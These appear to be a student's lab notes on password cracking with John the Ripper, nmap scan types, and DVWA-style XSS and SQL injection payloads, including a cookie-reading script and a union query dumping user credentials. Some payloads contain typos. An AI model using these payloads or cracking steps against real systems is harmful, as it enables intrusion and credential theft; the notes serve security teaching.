# Password Cracking

## John Ripper tool

It is command line tool designed to crack the both UNIX & Windows NT passwords

**Crunch command**: Used to create combination of password or make the dictionary of possible passwords.

**Cat command**: Read each file parameter in sequence & writes standard o/p

## Steps in Password Cracking using John Ripper :

**Step 1:** for cracking password of any file, you must have super or root user

## $sudo su

**Step 2:** Create any file i.e., rar, zip, pdf with password and take it into kali Linux environment

**Step 3:** Open terminal type command and covert the file into txt format

**$sudo rar2john file.rar > file.txt**

## $cat file.txt

**Step 4:** Break the password using John Ripper

## $sudo john file.txt

**Network & Port Scanning via Wireshark….**

**Port Scanning:** Scan for to check or identify the port is open or not on the network.

**Network Scanning:** It discovering IP address of operating system.

**Wireshark:** It will help to you capture the network packets & display them.

**1)TCP Scan**

Establish TCP connection via 3-way handshake protocol

i.e.

**1)SYN**

**2)SYN, ACK**

**3)ACK**

**nmap -sT -p 445 192.168.1.102(Any IP)**

**2)Stealth Scan**

It scan the port without establish the full or complete TCP connection.

**nmap -sS -p 22 192.168.1.102**

**3)UDP Scan**

It works by sending UDP packets & wait for responses.

**nmap -sU -p 161 192.168.1.119**

**4)NULL Scan**

When source send NULL packet to destination, it will not know how to reply the request. It will discard the packet & no reply will be sent.

**nmap -sN -p 22 192.168.1.102**

**XSS Attack….**

**Attacker injects malicious scripts into web pages.**

**1)Non-Persistent**

In this type of attack injected malicious script is reflected off the web server as a response.

**a)Reflected XSS**

1. Low:

**<script>alert()</script>**

1. Medium:

**<script>alert()</script>**

**<sCRipt>alert()</script>**

1. High:

**<img src=x onerror=alert()>**

**2)Persistent**

In this type injected malicious is stored on vulnerable web server. Injected script is then permanently stored on web pages.

1. **Stored XSS**
2. Low:

**<script>alert()</script>**

1. Medium:

**<Script>alert(“Hacked”)</Script>**

1. High:

**<svg/onload = alert(“Hacked”>**

**3)DOM XSS(Document Object Model)**

Low:

**<script>alert(1)</script>**

Medium:

**<<select><img src=’#’ onclick=alert’Gotcha!>**

High:

**<script>alert(document.cookie)</script>**

**SQL Injection**

**Attacker inject or insert the SQL code or query to exploit any SQL database driven web application.**

**Some queries :**

**‘1’ = ‘1’**

**%’ or ‘1’ = ‘1’**

**a’ OR “=’**

To check database version

**%’ or 0 = 0 union select all null, version() #**

To display Database user

**%’ or 0 = 0 union select all null, user() #**

To display all necessary authentication information present database

**%’ and 1=0 union select null, concat(first\_name,0x0a,last\_name,0xoa,user,oxoa,password) from users #**

**One Last Time**

**All The Best Guys…**

**-Chandrakant Hon**